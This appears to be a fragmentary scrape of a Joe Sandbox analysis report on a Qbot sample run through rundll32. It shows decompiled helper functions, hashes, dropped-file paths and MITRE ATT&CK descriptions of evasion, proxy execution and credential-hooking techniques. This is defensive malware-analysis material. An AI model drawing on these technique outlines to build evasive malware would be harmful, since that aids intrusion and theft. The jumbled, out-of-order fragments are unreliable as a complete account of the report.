0x009f9c5c
0x009f9c5c
0x009f9c09
0x009f9c0e
0x009f9c1b
0x009f9c28
0x009f9c28
0x009f9c67

APIs

GetSystemMetrics.USER32 ref: 009F9C45
GetSystemMetrics.USER32 ref: 009F9C51

Part of subcall function 009F9A84: GetProcAddress.KERNEL32(75BA0000,00000000), ref: 009F9B04

Strings

MonitorFromRect, xrefs: 009F9C09

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: MetricsSystem$AddressProc
String ID: MonitorFromRect
API String ID: 1792783759-4033241945
Opcode ID: feb403e85ccec91ecb89cafe426eede1099633b73585daa3ac2ea98d1f14996a
Instruction ID: 9847a3d9888485ffe5a7dd31da3ae0ad764e61349b42b5adde60168a57cbeca9
Opcode Fuzzy Hash: feb403e85ccec91ecb89cafe426eede1099633b73585daa3ac2ea98d1f14996a
Instruction Fuzzy Hash: 270162313002189FDB60DB55D9C9B65B7DDD751755F248062EA8CCB202C670DD41DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 009F9B6C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E009F9B6C(int _a4) {
				void* __ebx;
				void* __ebp;
				signed int _t2;
				signed int _t3;
				int _t8;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t18;

				_t8 = _a4;
				if( *0xa9f91c == 0) {
					 *0xa9f8f4 = E009F9A84(0, _t8,  *0xa9f8f4, _t17, _t18);
					return GetSystemMetrics(_t8);
				}
				_t3 = _t2 | 0xffffffff;
				_t12 = _t8 + 0xffffffb4 - 2;
				__eflags = _t12;
				if(__eflags < 0) {
					_t3 = 0;
				} else {
					if(__eflags == 0) {
						_t8 = 0;
					} else {
						_t13 = _t12 - 1;
						__eflags = _t13;
						if(_t13 == 0) {
							_t8 = 1;
						} else {
							__eflags = _t13 - 0xffffffffffffffff;
							if(_t13 - 0xffffffffffffffff < 0) {
								_t3 = 1;
							}
						}
					}
				}
				__eflags = _t3 - 0xffffffff;
				if(_t3 != 0xffffffff) {
					return _t3;
				} else {
					return GetSystemMetrics(_t8);
				}
			}

0x009f9b70
0x009f9b7a
0x009f9b8e
0x00000000
0x009f9b94
0x009f9b9c
0x009f9ba4
0x009f9ba4
0x009f9ba7
0x009f9bbb
0x009f9ba9
0x009f9ba9
0x009f9bbf
0x009f9bab
0x009f9bab
0x009f9bab
0x009f9bac
0x009f9bc3
0x009f9bae
0x009f9baf
0x009f9bb2
0x009f9bb4
0x009f9bb4
0x009f9bb2
0x009f9bac
0x009f9ba9
0x009f9bc8
0x009f9bcb
0x009f9bd5
0x009f9bcd
0x00000000
0x009f9bce

APIs

GetSystemMetrics.USER32 ref: 009F9BCE

Part of subcall function 009F9A84: GetProcAddress.KERNEL32(75BA0000,00000000), ref: 009F9B04

GetSystemMetrics.USER32 ref: 009F9B94

Strings

GetSystemMetrics, xrefs: 009F9B7C

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: MetricsSystem$AddressProc
String ID: GetSystemMetrics
API String ID: 1792783759-96882338
Opcode ID: 726958d04bf0eced72399b9656cd41c961bac5cf29a09a59e617ffd74bb9d8f1
Instruction ID: 4165b4829d3d29762ef4e832b51741015ffd3d28c53d2203d7f0b1f5a46664bf
Opcode Fuzzy Hash: 726958d04bf0eced72399b9656cd41c961bac5cf29a09a59e617ffd74bb9d8f1
Instruction Fuzzy Hash: 72F0B43021420D5EDB549A79FCC4772778A9785332FB48F32E722861D5C57889419750

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report C.png

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Qbot

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_d56bdb83eb9d4cf28c9bde832a0f519ccf44d5f_82810a17_0bbf029b\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC572.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCB20.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCCE7.tmp.xml

C:\Users\user\Desktop\C.dll

C:\Windows\System32\20220623\PowerShell_transcript.724536.04iY03ef.20220623175558.txt

C:\Windows\System32\20220623\PowerShell_transcript.724536.4jRUxIKh.20220623175701.txt

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Windows\Temp\__PSScriptPolicyTest_5ss0gna4.r3v.psm1

C:\Windows\Temp\__PSScriptPolicyTest_cyx5weiu.qmq.psm1

C:\Windows\Temp\__PSScriptPolicyTest_et0gmkgs.0m3.ps1

C:\Windows\Temp\__PSScriptPolicyTest_hwx3zdj0.32k.ps1

Static File Info

Windows Analysis Report
C.png

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	API monitoring, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre